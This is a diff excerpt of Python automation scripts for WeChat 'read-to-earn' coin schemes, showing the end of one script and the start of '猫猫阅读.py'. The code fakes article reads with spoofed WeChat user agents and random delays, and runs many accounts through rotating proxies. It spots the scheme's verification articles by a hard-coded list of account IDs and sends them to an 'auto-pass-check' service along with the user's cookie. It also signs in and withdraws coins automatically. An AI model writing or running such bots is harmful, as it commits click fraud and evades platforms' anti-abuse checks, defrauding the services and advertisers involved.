params = {'type': 2,'b': str(int(time.time()*1000)), 'token': TOKEN}
|
||||
|
||||
try:
|
||||
response = requests.get(url, headers=headers, params=params, proxies=proxies).json()
|
||||
parsed_url = urlparse(response['data']['url'])
|
||||
outer_params = parse_qs(parsed_url.query)
|
||||
inner_url_encoded = outer_params.get('query', [''])[0]
|
||||
inner_url = unquote(inner_url_encoded)
|
||||
parsed_inner = urlparse(inner_url)
|
||||
inner_params = parse_qs(parsed_inner.query)
|
||||
t = inner_params.get('t', ['未获取t'])[0]
|
||||
u = inner_params.get('u', ['未获取u'])[0]
|
||||
ch = inner_params.get('ch', ['未获取ch'])[0]
|
||||
return t, u, ch
|
||||
except Exception as e:
|
||||
print(f"参数获取异常: {str(e)}")
|
||||
return '未获取t', '未获取u', '未获取ch'
|
||||
|
||||
|
||||
def check_article(aid, article_url):
|
||||
"""文章检测逻辑"""
|
||||
print(f"检测文章 [ID:{aid}]")
|
||||
if not API_URL:
|
||||
print(f"未配置自动过检进入通知推送手动,请在面板配置文件设置对应推送..")
|
||||
title = "⚠️ QQ检测文章!请在60s内完成阅读!⚠️ 每次阅读不得少于8秒!"
|
||||
content = f"文章链接:{article_url} 当前时间 {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())} 当前时间 {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())}"
|
||||
print(QLAPI.notify(title, content))
|
||||
time.sleep(60)
|
||||
return True
|
||||
else:
|
||||
try:
|
||||
resp = requests.post(API_URL, json={"url": article_url,'token': TOKEN,'ua':UA_USER_AGENT,'proxies':proxies}, timeout=60).json()
|
||||
if resp['status'] == 'success':
|
||||
time.sleep(8)
|
||||
print("✅ 自动过检成功")
|
||||
return True
|
||||
else:
|
||||
print(f"❌ 自动过检失败: {resp['message']}")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"过检请求异常: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def sign_in():
|
||||
"""执行签到"""
|
||||
print("\n--- 执行签到 ---")
|
||||
sign_url = "https://read.tslu.cn/abaaba/getxshd/"
|
||||
headers = {
|
||||
'Host': 'read.tslu.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'User-Agent': UA_USER_AGENT,
|
||||
'Origin': 'http://we.e9l.cn',
|
||||
'Sec-Fetch-Site': 'cross-site',
|
||||
'Sec-Fetch-Mode': 'cors',
|
||||
'Sec-Fetch-Dest': 'empty',
|
||||
'Referer': 'http://we.e9l.cn/',
|
||||
'Accept-Encoding': 'gzip, deflate, br',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9',
|
||||
}
|
||||
params = {'token': TOKEN}
|
||||
|
||||
try:
|
||||
response = requests.get(sign_url, params=params, headers=headers, proxies=proxies).json()
|
||||
if response.get("code") == 0:
|
||||
print(f"签到成功! 获得金币: {response.get('golds', 0)}")
|
||||
getHomeInfo() # 刷新金币显示
|
||||
else:
|
||||
print(f"签到失败: {response.get('msg', '未知错误')}")
|
||||
except Exception as e:
|
||||
print(f"签到请求异常: {str(e)}")
|
||||
print("--- 签到结束 ---\n")
|
||||
|
||||
|
||||
def make_request(loop_count, initial_params, headers):
|
||||
"""主循环请求逻辑"""
|
||||
url = "https://rdapi.hzjianyue.cn/api/articleTask0428"
|
||||
current_jkey = None
|
||||
current_params = initial_params.copy()
|
||||
current_c = 1
|
||||
user_id = initial_params.get("u", "")
|
||||
channel_id = initial_params.get("ch", "")
|
||||
|
||||
for i in range(loop_count):
|
||||
print(f"\n[第{i + 1}次循环] c值: {current_c}")
|
||||
|
||||
# 准备请求参数
|
||||
params = current_params.copy()
|
||||
params["c"] = current_c
|
||||
params["r"] = get_random_r()
|
||||
if i > 0 and current_jkey:
|
||||
params["jkey"] = current_jkey
|
||||
|
||||
try:
|
||||
response = requests.get(url, params=params, headers=headers,proxies=proxies)
|
||||
response.raise_for_status()
|
||||
result = response.json()
|
||||
|
||||
# 检测第5轮完成
|
||||
if result.get("code") == 1 and not result.get("data") and "第5轮已经完成" in result.get("msg", ""):
|
||||
print(f"检测到第5轮完成,任务结束!")
|
||||
sign_in()
|
||||
return
|
||||
|
||||
# 检测其他轮次完成
|
||||
if result.get("code") == 1 and not result.get("data") and "轮已经完成" in result.get("msg", ""):
|
||||
print(f"轮次完成: {result.get('msg')},终止循环")
|
||||
getHomeInfo()
|
||||
return
|
||||
|
||||
# 检测其他轮次完成
|
||||
if result.get("code") == 1 and not result.get("data") and "暂时没有文章可供阅读" in result.get("msg", ""):
|
||||
print(f"轮次完成: {result.get('msg')},终止循环")
|
||||
getHomeInfo()
|
||||
return
|
||||
|
||||
# 检测其他轮次完成
|
||||
if result.get("code") == 1 and not result.get("data") and "您阅读数量已达今日上限" in result.get("msg", ""):
|
||||
print(f"轮次完成: {result.get('msg')},终止循环")
|
||||
getHomeInfo()
|
||||
return
|
||||
|
||||
# 检测其他轮次完成
|
||||
if result.get("code") == 1 and not result.get("data") and "前被微信判断为无效用户" in result.get("msg", ""):
|
||||
print(f"轮次完成: {result.get('msg')},终止循环")
|
||||
getHomeInfo()
|
||||
return
|
||||
|
||||
# 检测链接失效
|
||||
if result.get("code") == 1 and result.get("msg") == "当前链接已失效, 请获取最新链接哦" and not result.get(
|
||||
"data"):
|
||||
print("链接失效,重新获取参数...")
|
||||
new_t, new_u, new_ch = getReadUrl()
|
||||
current_params.update({"t": new_t, "u": new_u, "ch": new_ch})
|
||||
user_id, channel_id = new_u, new_ch
|
||||
current_jkey = None
|
||||
current_c = 1
|
||||
continue
|
||||
|
||||
# 处理正常响应
|
||||
if result.get("code") == 0:
|
||||
data = result.get("data", {})
|
||||
current_jkey = data.get("jkey")
|
||||
aid = data.get("aid", 0)
|
||||
article_url = data.get("url", "")
|
||||
|
||||
_biz = extract_biz(article_url)
|
||||
print(f"📖 开始阅读: {article_url}", flush=True)
|
||||
print(f"文章信息 - : {_biz} | 已读/总数: {data.get('readNum', 0)}/{data.get('totalNum', 0)}")
|
||||
if _biz in ['MzkyNzYxMDA0Mw==','MzkzNzk3Mjk2MQ==','MzkyMjYxMDAwMA==','Mzk3NTc4MzI1NQ==',
|
||||
'MzI5MjYyNDIxOA==','Mzk0OTYxMDEwNQ==','MzkzNjk3MjIxNg==','MzkzMTk0ODYxOQ==',
|
||||
'MzkzODk3Mjk2NQ==','MzIwOTc0MzYxMg==','MzkyOTk0NzcyNw==','MzkxOTg4MjUzOA==','Mzk4ODQ2OTYyMg==',
|
||||
'MzkzMjk3MDgxNQ==','MzkzOTYxMDQ2Mw==','MzkzODk0NzkwMg==','MzkwODYwOTUxOQ=='] or len(current_jkey) > 35:
|
||||
if not check_article(_biz, article_url):
|
||||
return
|
||||
|
||||
current_c += 1
|
||||
else:
|
||||
print(f"请求异常: {result.get('msg', '未知错误')}")
|
||||
current_c += 1
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"网络请求错误: {e}")
|
||||
current_c += 1
|
||||
except json.JSONDecodeError:
|
||||
print("响应格式错误")
|
||||
current_c += 1
|
||||
|
||||
# 延迟处理
|
||||
if i < loop_count - 1:
|
||||
delay = random.randint(8, 20)
|
||||
print(f"等待{delay}秒...")
|
||||
time.sleep(delay)
|
||||
|
||||
print(f"\n所有{loop_count}次循环完成")
|
||||
getHomeInfo()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("活动入口:https://img.hnking.cn/blog/202509041844746.png")
|
||||
QQ_TOKEN = os.getenv('QQ_TOKEN')
|
||||
if not QQ_TOKEN:
|
||||
print("请先配置账号信息(QQ_TOKEN)")
|
||||
exit()
|
||||
|
||||
if UA_USER_AGENT:
|
||||
print(f"✅ 已配置代理: {UA_USER_AGENT}")
|
||||
else:
|
||||
print("ℹ️ 未配置ua,停止运行")
|
||||
exit()
|
||||
|
||||
if PROXY_URL:
|
||||
print(f"✅ 已配置代理: {PROXY_URL}")
|
||||
else:
|
||||
print("ℹ️ 未配置代理,采用本地请求")
|
||||
|
||||
TOKENS = QQ_TOKEN.split('#')
|
||||
print(f"共{len(TOKENS)}个账号")
|
||||
for TOKEN in TOKENS:
|
||||
proxies = {}
|
||||
if PROXY_URL:
|
||||
try:
|
||||
get_ip = requests.get(PROXY_URL).text.strip()
|
||||
print('获取代理:{0}'.format(get_ip))
|
||||
proxies = {
|
||||
"http": f"http://{get_ip}",
|
||||
"https": f"http://{get_ip}",
|
||||
}
|
||||
except Exception as e:
|
||||
print('获取代理失败,使用本地网络执行')
|
||||
getHomeInfo() # 初始首页信息
|
||||
t, u, ch = getReadUrl()
|
||||
|
||||
initial_params = {
|
||||
"t": t,
|
||||
"u": u,
|
||||
"ch": ch,
|
||||
"pageshow": "",
|
||||
}
|
||||
|
||||
headers = {
|
||||
"Host": "rdapi.hzjianyue.cn",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Accept": "*/*",
|
||||
"Sec-Fetch-Site": "cross-site",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9"
|
||||
}
|
||||
|
||||
loop_times = 39
|
||||
print(f"\n开始执行{loop_times}次循环...")
|
||||
make_request(loop_times, initial_params, headers)
|
||||
831
微信阅读/猫猫阅读.py
Normal file
831
微信阅读/猫猫阅读.py
Normal file
@@ -0,0 +1,831 @@
|
||||
|
||||
#
|
||||
# 阅读入口:https://img.hnking.cn/blog/202508070115447.png微信扫码打开
|
||||
# 配置说明:
|
||||
# 1. 环境变量 mmyd_ck: 配置cookie账号信息bbus值,支持多账号分隔符:换行符、@、& 例如eyxxxxxxxxx 不要前面的bbus=
|
||||
# 2. 环境变量 mmyd_ua: 配置UA信息 https://useragent.todaynav.com/ 微信打开此网站即可 请使用你的微信的User-Agent
|
||||
# 3. 环境变量 mmyd_url: 检测文章提交接口的URL(可选,如http://192.168.124.201:9900/check_read)请使用自己的这个只是例子
|
||||
# 4. 环境变量 mmyd_token: PushPlus推送加token(可选)
|
||||
# 5. 环境变量 mmyd_tx: PushPlus推送加token(可选)
|
||||
#
|
||||
# 使用说明:
|
||||
# - 首账号采用固定邀请码,请wx点击阅读入口。
|
||||
# - 支持多账号批量运行,自动刷新Cookie
|
||||
# - 自动检测文章并推送通知(需配置mmyd_token)
|
||||
# - 自动提现功能,满足5000金币自动提现
|
||||
# - 如果配置了mmyd_url,会先尝试自动过检,失败则推送通知
|
||||
#
|
||||
# 本脚本仅供学习交流,请在下载后的24小时内完全删除
|
||||
# 请勿用于商业用途或非法目的,否则后果自负
|
||||
|
||||
|
||||
|
||||
# 测试区
|
||||
# 临时设置环境变量
|
||||
# os.environ["mmyd_ck"] = ""
|
||||
#
|
||||
# os.environ["mmyd_ua"] = ""
|
||||
# os.environ["mmyd_url"] = ""
|
||||
# os.environ["mmyd_token"] = ""
|
||||
|
||||
# 固定注释内容
|
||||
fixed_comments = """# 猫猫阅读脚本 4.0
|
||||
#
|
||||
# 阅读入口:https://img.hnking.cn/blog/202508070115447.png 微信扫码打开
|
||||
#
|
||||
# 配置说明:
|
||||
# 1. 环境变量 mmyd_ck: 配置cookie账号信息bbus值,支持多账号分隔符:换行符、@、&
|
||||
# 2. 环境变量 mmyd_ua: 配置UA信息 https://useragent.todaynav.com/ 微信打开此网站即可 请使用你的微信的User-Agent
|
||||
# 3. 环境变量 mmyd_url: 检测文章提交接口的URL(可选,如http://192.168.124.201:9900/check_read)
|
||||
# 4. 环境变量 mmyd_token: PushPlus推送加token(可选)
|
||||
#
|
||||
# 使用说明:
|
||||
# - 首账号采用固定邀请码,请wx点击阅读入口。
|
||||
# - 支持多账号批量运行,自动刷新Cookie
|
||||
# - 自动检测文章并推送通知(需配置mmyd_token)
|
||||
# - 自动提现功能,满足5000金币自动提现
|
||||
# - 如果配置了mmyd_url,会先尝试自动过检,失败则推送通知
|
||||
#
|
||||
# 本脚本仅供学习交流,请在下载后的24小时内完全删除
|
||||
# 请勿用于商业用途或非法目的,否则后果自负"""
|
||||
|
||||
|
||||
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
|
||||
import re
|
||||
import time
|
||||
import random
|
||||
from requests.exceptions import RequestException
|
||||
|
||||
|
||||
|
||||
|
||||
# 创建全局 session
|
||||
|
||||
|
||||
|
||||
|
||||
# 新增: PushPlus通知函数
|
||||
def send_pushplus_notification(token, title, content):
|
||||
"""使用PushPlus发送通知"""
|
||||
try:
|
||||
url_pushplus = "http://www.pushplus.plus/send"
|
||||
data_pushplus = {
|
||||
"token": token,
|
||||
"title": title,
|
||||
"content": content,
|
||||
"template": "html"
|
||||
}
|
||||
response = requests.post(url_pushplus, data=data_pushplus, timeout=10)
|
||||
response.raise_for_status()
|
||||
result = response.json()
|
||||
if result.get("code") == 200:
|
||||
print(f"✅ PushPlus通知发送成功", flush=True)
|
||||
else:
|
||||
print(f"❗ PushPlus通知发送失败: {result.get('msg', '未知错误')}", flush=True)
|
||||
except Exception as e:
|
||||
print(f"❗ PushPlus通知请求异常: {str(e)}", flush=True)
|
||||
|
||||
|
||||
def fetch_luodi_url(session):
|
||||
url = "http://thr.zuoanai.cn/baobaocode.php"
|
||||
headers = {
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
|
||||
"Connection": "keep-alive",
|
||||
"Host": "thr.zuoanai.cn",
|
||||
"Referer": "http://thr.zuoanai.cn/",
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0",
|
||||
"X-Requested-With": "XMLHttpRequest"
|
||||
}
|
||||
resp = session.get(url, headers=headers, timeout=15, proxies=proxies)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
luodi_url = data.get("data", {}).get("luodi")
|
||||
print(f"获取到活动地址: {luodi_url}")
|
||||
return luodi_url
|
||||
|
||||
|
||||
def get_first_redirect(luodi_url,session):
|
||||
parsed = urlparse(luodi_url)
|
||||
host = parsed.hostname
|
||||
path = parsed.path + (f"?{parsed.query}" if parsed.query else "")
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
url = f"http://{host}{path}"
|
||||
resp = session.get(url, headers=headers, allow_redirects=False, timeout=15)
|
||||
if resp.status_code == 302:
|
||||
location = resp.headers.get('Location')
|
||||
# print(f"302跳转地址: {location}")
|
||||
parsed2 = urlparse(location)
|
||||
new_host = parsed2.hostname
|
||||
m = re.search(r'/haobaobao/([^/?]+)', parsed2.path)
|
||||
cid = m.group(1) if m else None
|
||||
# print(f"新域名: {new_host}, cid: {cid}")
|
||||
return new_host, cid
|
||||
else:
|
||||
print(f"未返回302,状态码: {resp.status_code}")
|
||||
print(resp.text)
|
||||
return None, None
|
||||
|
||||
|
||||
def get_redirect_url(code, cid,session):
|
||||
url = f"http://soicq.hzyunyan.cn/blank_ground.html?type=bao&cid={cid}&code={code}&state=1"
|
||||
headers = {
|
||||
"Host": "soicq.hzyunyan.cn",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
resp = session.get(url, headers=headers, allow_redirects=False, timeout=15)
|
||||
if resp.status_code == 302:
|
||||
location = resp.headers.get('Location')
|
||||
# print(f"redirect接口302 Location: {location}")
|
||||
return location
|
||||
else:
|
||||
print(f"redirect接口未返回302,状态码: {resp.status_code}")
|
||||
print(resp.text)
|
||||
return None
|
||||
|
||||
|
||||
def get_bbus_from_url(bbus_url):
|
||||
# 处理q参数,去掉v前缀
|
||||
parsed = urlparse(bbus_url)
|
||||
qs = parse_qs(parsed.query)
|
||||
# 处理q参数
|
||||
if 'q' in qs and qs['q']:
|
||||
qval = qs['q'][0]
|
||||
if qval.startswith('v') and len(qval) > 1:
|
||||
qs['q'][0] = qval[1:]
|
||||
# 处理v参数,替换为当前时间戳减6小时2秒
|
||||
if 'v' in qs and qs['v']:
|
||||
now = int(time.time())
|
||||
v_new = now - (6 * 3600)
|
||||
qs['v'][0] = str(v_new)
|
||||
new_query = urlencode(qs, doseq=True)
|
||||
bbus_url = urlunparse(parsed._replace(query=new_query))
|
||||
headers = {
|
||||
"Host": parsed.hostname,
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Connection": "keep-alive"
|
||||
}
|
||||
resp = session.get(bbus_url, headers=headers, timeout=15)
|
||||
# print(resp.text)
|
||||
print(f"请求: {bbus_url}")
|
||||
print("--- 响应标头 ---")
|
||||
for k, v in resp.headers.items():
|
||||
print(f"{k}: {v}")
|
||||
set_cookie = resp.headers.get('Set-Cookie', '')
|
||||
m = re.search(r'bbus=([^;]+)', set_cookie)
|
||||
bbus = m.group(1) if m else None
|
||||
print(f"bbus: {bbus}")
|
||||
return bbus
|
||||
|
||||
|
||||
def get_location_domain(cid, bbus, new_host,session):
|
||||
"""
|
||||
1. GET /haobaobao/v{cid}?v=xxx,带 bbus cookie,获取 302 Location 域名
|
||||
返回 (location_url, location_domain)
|
||||
"""
|
||||
v = int(time.time())
|
||||
url = f"http://{new_host}/haobaobao/v{cid}?v={v}"
|
||||
headers = {
|
||||
"Host": new_host,
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}"
|
||||
}
|
||||
resp = session.get(url, headers=headers, allow_redirects=False, timeout=15)
|
||||
location = resp.headers.get('Location')
|
||||
if not location:
|
||||
print(f"未获取到Location,状态码: {resp.status_code}")
|
||||
return None, None
|
||||
# 提取域名
|
||||
parsed = urlparse(location)
|
||||
location_domain = parsed.hostname
|
||||
# print(f"Location: {location}\nLocation域名: {location_domain}")
|
||||
return location, location_domain
|
||||
|
||||
|
||||
def post_mwtmpdomain(location_domain, bbus,session):
|
||||
"""
|
||||
2. POST /mwtmpdomain,带 bbus cookie,返回 domain/sk
|
||||
"""
|
||||
url = f"http://{location_domain}/mwtmpdomain"
|
||||
headers = {
|
||||
"Host": location_domain,
|
||||
"Connection": "keep-alive",
|
||||
"Content-Length": "0",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Origin": f"http://{location_domain}",
|
||||
"Referer": f"http://{location_domain}/haobaobao/home?v=1751880944",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}"
|
||||
}
|
||||
resp = session.post(url, headers=headers, timeout=15)
|
||||
try:
|
||||
data = resp.json()
|
||||
domain_url = data['data']['domain']
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
parsed = urlparse(domain_url)
|
||||
qs = parse_qs(parsed.query)
|
||||
sk = qs.get('sk', [None])[0]
|
||||
# print(f"domain: {domain_url}\nsk: {sk}")
|
||||
return domain_url, sk
|
||||
except Exception as e:
|
||||
print(f"解析domain/sk失败: {e}")
|
||||
return None, None
|
||||
|
||||
|
||||
def get_user_url(cid, bbus, new_host,session):
|
||||
"""
|
||||
综合流程:
|
||||
1. 通过 get_location_domain 获取 Location 域名
|
||||
2. 通过 post_mwtmpdomain 获取 domain/sk
|
||||
返回 domain_url, sk
|
||||
"""
|
||||
location_url, location_domain = get_location_domain(cid, bbus, new_host,session)
|
||||
if not location_domain:
|
||||
return None, None
|
||||
domain_url, sk = post_mwtmpdomain(location_domain, bbus,session)
|
||||
return domain_url, sk
|
||||
|
||||
|
||||
def get_article_link(host, sk,session):
|
||||
"""
|
||||
获取文章link
|
||||
"""
|
||||
now_ms = int(time.time() * 1000)
|
||||
mysign = random.randint(100, 999)
|
||||
vs = random.randint(100, 200)
|
||||
rmemakdk_url = f"http://{host}/smkrdeas?time={now_ms}&mysign={mysign}&vs={vs}&sk={sk}"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
# print(f"\n📖 请求文章任务: {rmemakdk_url}")
|
||||
resp = session.get(rmemakdk_url, headers=headers, timeout=15)
|
||||
return resp.json()
|
||||
|
||||
|
||||
def visit_article_link(link,session):
|
||||
"""
|
||||
访问文章link,模拟阅读
|
||||
"""
|
||||
article_headers = {
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Connection": "keep-alive"
|
||||
}
|
||||
print(f"📖 开始模拟阅读文章...")
|
||||
resp = session.get(link, headers=article_headers, timeout=15)
|
||||
return resp
|
||||
|
||||
|
||||
def submit_read_result(host, sk, sleep_time,session):
|
||||
"""
|
||||
提交阅读完成
|
||||
"""
|
||||
psign = random.randint(200, 400)
|
||||
jiajinbimao_url = f"http://{host}/jiajinbimao?time={sleep_time}&psign={psign}&sk={sk}"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
# print(f"📖 提交阅读完成")
|
||||
resp2 = session.get(jiajinbimao_url, headers=headers, timeout=15)
|
||||
return resp2.json()
|
||||
|
||||
|
||||
def read_article(domain_url, sk):
|
||||
"""
|
||||
1. GET /rmemakdk 获取文章link
|
||||
2. 请求link,等待20-30秒
|
||||
3. GET /jiajinbimao 获取阅读结果
|
||||
检测文章biz特殊处理:如biz在检测列表,等待120-130秒,提示手动阅读
|
||||
"""
|
||||
check_biz_list = [
|
||||
"MzkzMTYyMDU0OQ==", "Mzk0NDcxMTk2MQ==",
|
||||
"MzkzNTYxOTgyMA==", "MzkzNDYxODY5OA==",
|
||||
"MzkwNzYwNDYyMQ==", "MzkyNjY0MTExOA==",
|
||||
"MzkwMTYwNzcwMw==", "Mzg4NTcwODE1NA==",
|
||||
"MzkyMjYxNzQ2NA==", "Mzk4ODQzNjU1OQ==",
|
||||
"MzkyMTc0MDU5Nw==", "Mzk4ODQzNzU3NA==",
|
||||
"Mzk5MDc1MDQzOQ==", "Mzg5ODIyOTI4MQ=="
|
||||
]
|
||||
parsed = urlparse(domain_url)
|
||||
host = parsed.hostname
|
||||
# 1. 获取文章link
|
||||
try:
|
||||
data = get_article_link(host, sk,session)
|
||||
link = data.get('data', {}).get('link')
|
||||
if not link:
|
||||
if data.get('errcode') == 407:
|
||||
print('⚠️ 60分钟后可继续阅读!')
|
||||
elif data.get('errcode') == 405:
|
||||
print(f"❌ {data.get('msg')}")
|
||||
else:
|
||||
print(f"❌ 未获取到文章link: {data}")
|
||||
return False
|
||||
# print(f"✅ 获取到文章: {link}")
|
||||
# 提取biz
|
||||
biz_match = parse_qs(urlparse(link).query).get('__biz', [None])[0]
|
||||
print(f"文章标题: {biz_match}")
|
||||
print(f"📖 开始阅读: {link}", flush=True)
|
||||
# 检测文章特殊处理
|
||||
auto_checked = False
|
||||
if biz_match in check_biz_list or biz_match is None:
|
||||
wait_time = random.randint(120, 130)
|
||||
title = "⚠️ 猫猫检测文章!请在120s内完成阅读!"
|
||||
content = f"""
|
||||
⚠️ 请在120s内完成阅读!
|
||||
⚠️ 每次阅读不得少于8秒!
|
||||
文章链接:{link}
|
||||
当前时间 {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())}
|
||||
"""
|
||||
# 自动过检逻辑
|
||||
auto_checked = False
|
||||
if API_URL:
|
||||
print(f"送入自动过检...")
|
||||
payload = {"url": link,"ck":bbus,"ua":UA_USER_AGENT,'version':'3.0'}
|
||||
try:
|
||||
resp = requests.post(API_URL, json=payload, timeout=60).json()
|
||||
if resp['status'] == 'success':
|
||||
time.sleep(25)
|
||||
print(f"✅ 自动过检成功,跳过推送")
|
||||
auto_checked = True
|
||||
else:
|
||||
print(f"❌ 自动过检失败", resp['message'])
|
||||
except Exception as e:
|
||||
print(f"自动过检请求异常: {e}")
|
||||
|
||||
if not auto_checked:
|
||||
if PUSH_TOKEN:
|
||||
print("开始推送文章...")
|
||||
send_pushplus_notification(PUSH_TOKEN, title, content)
|
||||
else:
|
||||
print("未配置推送token,尝试使用青龙配置文件推送")
|
||||
print(QLAPI.notify(title, content))
|
||||
print(f"⏳ 检测文章等待 {wait_time} 秒...")
|
||||
time.sleep(wait_time)
|
||||
# 检测文章不请求link,但需要调用jiajinbimao接口
|
||||
sleep_time = random.randint(9, 18)
|
||||
else:
|
||||
# 2. 请求 link,等待20-30秒
|
||||
try:
|
||||
print(link)
|
||||
visit_article_link(link,session)
|
||||
sleep_time = random.randint(9, 18)
|
||||
print(f"⏳ 等待 {sleep_time} 秒模拟阅读...")
|
||||
time.sleep(sleep_time)
|
||||
except Exception as e:
|
||||
print(f"❌ 阅读文章请求失败: {e}")
|
||||
return False
|
||||
# 3. GET /jiajinbimao 获取阅读结果
|
||||
max_retries = 3
|
||||
for retry_count in range(max_retries):
|
||||
try:
|
||||
data2 = submit_read_result(host, sk, sleep_time,session)
|
||||
if data2.get('errcode') == 0:
|
||||
d = data2.get('data', {})
|
||||
print(
|
||||
f"✅ 阅读完成!本次金币: {d.get('gold')},今日已读: {d.get('day_read')},今日金币: {d.get('day_gold')},当前金币: {d.get('last_gold')},剩余可读: {d.get('remain_read')}")
|
||||
return True
|
||||
elif data2.get('errcode') == 405 and '未能获取到用户信息' in str(data2.get('msg')):
|
||||
print(f"⚠️ 第 {retry_count + 1}/{max_retries} 次获取用户信息失败: {data2.get('msg')},正在重试...")
|
||||
if retry_count == max_retries - 1:
|
||||
print(f"❌ 连续 {max_retries} 次用户信息获取失败,退出运行")
|
||||
return False
|
||||
time.sleep(2)
|
||||
continue
|
||||
else:
|
||||
print(f"❌ 阅读完成接口返回失败: {data2}")
|
||||
return False
|
||||
except requests.exceptions.ReadTimeout:
|
||||
print(f"⏰ 第 {retry_count + 1}/{max_retries} 次请求超时,正在重试...")
|
||||
if retry_count == max_retries - 1:
|
||||
print(f"❌ 连续 {max_retries} 次请求超时,退出运行")
|
||||
return False
|
||||
time.sleep(2)
|
||||
except Exception as e:
|
||||
print(f"❌ 阅读完成接口请求失败: {e}")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"❌ 解析文章任务响应失败: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def confirm_withdraw(domain_url, bbus, signid,session):
|
||||
"""
|
||||
确认提现
|
||||
"""
|
||||
from urllib.parse import urlparse
|
||||
host = urlparse(domain_url).hostname
|
||||
url = f"http://{host}/haobaobao/getwithdraw"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{host}",
|
||||
"Referer": f"http://{host}/haobaobao/withdraw",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
